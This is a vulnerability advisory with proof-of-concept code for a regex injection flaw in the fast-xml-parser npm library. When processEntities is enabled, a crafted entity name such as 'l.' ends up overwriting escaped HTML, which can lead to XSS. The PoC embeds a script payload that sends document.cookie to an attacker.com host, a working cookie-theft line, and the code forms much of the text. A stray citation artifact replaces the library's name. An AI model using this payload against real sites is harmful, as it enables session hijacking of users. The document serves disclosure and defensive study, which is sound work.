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| # Title     : fast-xml-parser Regex Injection via Malicious XML Entity Name Leading to XSS                                                |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
| # Vendor    : https://www.npmjs.com/package/fast-xml-parser                                                                               |
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[+] Summary    :  When processEntities is Enabled  A security issue can arise in applications using the :contentReference[oaicite:0]{index=0} library when the processEntities option is enabled and untrusted XML input is accepted.
                  An attacker can define a malicious XML entity with a specially crafted name containing regex metacharacters (e.g., a dot .). 
                  During entity processing, the library internally builds a regular expression using the entity name without properly escaping regex characters.
				  
[+] Afected at >= 4.1.3, < 5.3.5 

[+] For example : <!ENTITY l. "<script>alert('XSS');</script>">

This may lead to the creation of a regex similar to : /&l.;/g

Because the dot . in regex matches any single character, this pattern can unintentionally match safe escaped entities such as &lt;. As a result, legitimate escaped HTML content may be replaced with attacker-controlled payloads.

If the parsed output is later rendered in a web application using unsafe sinks such as innerHTML, this can lead to Cross-Site Scripting (XSS).

[+] POC   :  

const { XMLParser } = require("fast-xml-parser");

const attackerXml = `
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE exploit [
  <!ENTITY l. "<script>alert('XSS Triggered!'); fetch('http://attacker.com/steal?cookie=' + document.cookie);</script>">
]>
<root>
    <description>
        Welcome, this text contains a safe Bold tag: &lt;b&gt;Bold Text&lt;/b&gt;
    </description>
</root>
`;

const options = {
    processEntities: true 
};

const parser = new XMLParser(options);
const result = parser.parse(attackerXml);

console.log("--- Final Output After Parsing ---");
console.log(result.root.description);

	
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
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